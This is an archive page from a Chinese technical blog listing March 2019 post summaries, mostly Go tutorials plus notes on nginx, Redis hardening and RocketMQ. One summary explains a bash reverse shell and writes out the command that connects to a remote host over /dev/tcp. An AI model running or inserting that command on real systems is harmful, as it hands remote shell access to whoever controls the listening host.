03 2019 档案

摘要:一、Google 1、使用""精准搜索 最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果。 例如:"qqqqqqqqqqqqqqq" 2、排除关键词"-"减号 如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除, 阅读全文
posted @ 2019-03-27 10:13 巽逸 阅读(891) 评论(0) 推荐(0) 编辑
摘要:一、Goroutine 1、介绍 goroutine简介 goroutine是go语言中最为NB的设计,也是其魅力所在,goroutine的本质是协程,是实现并行计算的核心。goroutine使用方式非常的简单,只需使用go关键字即可启动一个协程,并且它是处于异步方式运行,你不需要等它运行完成以后在 阅读全文
posted @ 2019-03-22 11:07 巽逸 阅读(291) 评论(0) 推荐(0) 编辑
摘要:一、读写文件 1、读文件操作 os.File 封装所有文件相关操作 例子: 2、文件写操作 os.OpenFile是一个一般性的文件打开函数,参数如下 (第一个参数是文件地址,第二个参数如下,可以组合使用,第三个参数是控制文件的权限) os.O_CREATE 文件不存在就会创建os.O_APPEND 阅读全文
posted @ 2019-03-21 14:39 巽逸 阅读(357) 评论(0) 推荐(0) 编辑
摘要:一、记账系统 1、该软件能够记录收入、支出,并能够打印收支明细表 2、 代码 package main import ( . "fmt" ) func menu() string{ num := "" Println(" 记账 ") Println(" 1.收支详细") Println(" 2.支出 阅读全文
posted @ 2019-03-21 10:40 巽逸 阅读(531) 评论(0) 推荐(0) 编辑
摘要:一、介绍 类型断言,由于接口是一般类型,不知道具体类型,如果要转成具体类型,就需要使用类型断言 例子: 断言时带上检测机制,如果失败不报错 例子: 二、类型断言最佳实践 例子 一: 例子 二: 阅读全文
posted @ 2019-03-20 15:20 巽逸 阅读(212) 评论(0) 推荐(0) 编辑
摘要:一、使用defer+recover 错误例子: 异常处理例子: 二、使用panic(不推荐使用) panic 内置函数 ,接收一个 interface{}类型的值(也就是任何值了)作为参数。可以接收 error 类型的变量,输出错误信息,并退出程序 例子: 三、输出错误 使用errors.Now进行 阅读全文
posted @ 2019-03-19 11:26 巽逸 阅读(254) 评论(0) 推荐(0) 编辑
摘要:一、 golang面向对象介绍 1、golang也支持面向对象编程,但是和传统的面向对象编程有区别,并不是纯粹的面向对象语言。2、golang没有类(class),golang语言的结合体(struct)和其它编程语言的类有同等的地位。3、golang面向对象编程,去掉了传统语言面向对象的继承、方法 阅读全文
posted @ 2019-03-19 10:44 巽逸 阅读(1101) 评论(0) 推荐(0) 编辑
摘要:例子: #如果访问的ip是192.168.1.1,就直接返回json格式的内容 #nginx限制只能某些ip访问某个url 阅读全文
posted @ 2019-03-18 14:13 巽逸 阅读(787) 评论(0) 推荐(0) 编辑
摘要:一、数组(类似python的list) 数组的长度一旦定义了就不能动态增长。并且存储的数据类型必须相同。 创建方法: var 数组名 [长度]数据类型 例如: 数组的四种初始化方式 例如: 数组的遍历 例如: 二、slice切片 1、切片是数组的引用2、切片的使用类似数组,如遍历3、切片的长度是可变 阅读全文
posted @ 2019-03-11 17:07 巽逸 阅读(4220) 评论(0) 推荐(0) 编辑
摘要:一、函数语法 func 函数名(形参列表) (返回值列表){ ...... return 返回值 } 例如: 二、递归函数 例子 三、init函数(初始化函数) 没一个源文件都可以包含一个init函数,init函数校准main函数执行前执行。 例子: 四、匿名函数 例子: 全局匿名函数 例子: 五、 阅读全文
posted @ 2019-03-11 15:16 巽逸 阅读(230) 评论(0) 推荐(0) 编辑
摘要:1、fmt格式化输出等 2、strings 字符串模块 3、time 时间 时间的常量 Microsecond 微秒 Millisecond 毫秒 Second 秒 Minute 分钟 Hour 小时 4、math/rand 实现了伪随机数生成器 例子: 五、os系统模块 六、flag来解析命令行参 阅读全文
posted @ 2019-03-08 15:28 巽逸 阅读(1582) 评论(0) 推荐(0) 编辑
摘要:一、golang运算符 1、算术运算符 + 相加- 相减* 相乘/ 相除% 求余++ 自增-- 自减 2、关系运算符 == 等于!= 不等于> 大于< 小于>= 大于等于<= 小于等于 3、位运算符 & 按位与运算符"&"是双目运算符。 其功能是参与运算的两数各对应的二进位相与。| 按位或运算符"| 阅读全文
posted @ 2019-03-08 15:15 巽逸 阅读(1414) 评论(0) 推荐(1) 编辑
摘要:一、配置文件优化 二、安全优化 1、如果只是本机访问redis的话bind就设置127.0.0.1,或者设置内网网段访问,尽量不使用0.0.0.0 2、设置密码 3、千万不要使用root运行redis 4、禁用config等危险命令 阅读全文
posted @ 2019-03-08 15:06 巽逸 阅读(266) 评论(0) 推荐(0) 编辑
摘要:一、介绍 bash反射就是反弹一个交互的shell,类似ssh连接,可以执行命令 二、使用命令 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i 是打开一个交互的bash >& 是将标准错误输出定向到标准输出中。 /dev/tcp/ 是Linux中的一个特 阅读全文
posted @ 2019-03-08 10:23 巽逸 阅读(2156) 评论(0) 推荐(0) 编辑
摘要:一、下载系统镜像 二、下载安装软碟通软件UltraISO 三、插入U盘制作启动盘 1.用软碟通打开镜像文件:文件-->打开 2.写入映像:启动-->写入硬盘映像 3、等待写入完成 四、系统安装 1、电脑设置u盘启动 2、安装系统 3、安装完成后修改grub启动 [root@localhost ~]g 阅读全文
posted @ 2019-03-07 13:35 巽逸 阅读(389) 评论(0) 推荐(0) 编辑
摘要:1、官网 https://rocketmq.apache.org/ 官方安装文档 https://rocketmq.apache.org/docs/quick-start/ 2、rocketmq多主配置文件参考(conf/2m-noslave/broker-a.properties) 服务启动与关闭 阅读全文
posted @ 2019-03-07 10:22 巽逸 阅读(3088) 评论(1) 推荐(0) 编辑
摘要:一、数值型int(默认值 0) int 整数 32位系统占4个字节(-2^31~2^31-1)、64位系统占8个字节(-2^63~2^63-1)uint 32位系统占4个字节(0~2^32-1)、64位系统占8个字节(0-2^64-1)rune 范围(-2^31~2^31-1) 等价int32,表示 阅读全文
posted @ 2019-03-06 20:21 巽逸 阅读(3831) 评论(0) 推荐(0) 编辑
摘要:一、golang介绍 golang是Google开发的一种 静态强类型、编译型,并发型,并具有垃圾回收功能的编程语言。 二、语言特性 1.、自动垃圾回收 2、支持函数多返回值 3、并发强 三、golang程序基本语法 1、所有go源码以.go结尾 2、go程序执行入口是main()函数 3、go语言 阅读全文
posted @ 2019-03-05 19:41 巽逸 阅读(1758) 评论(0) 推荐(0) 编辑

点击右上角即可分享
微信分享提示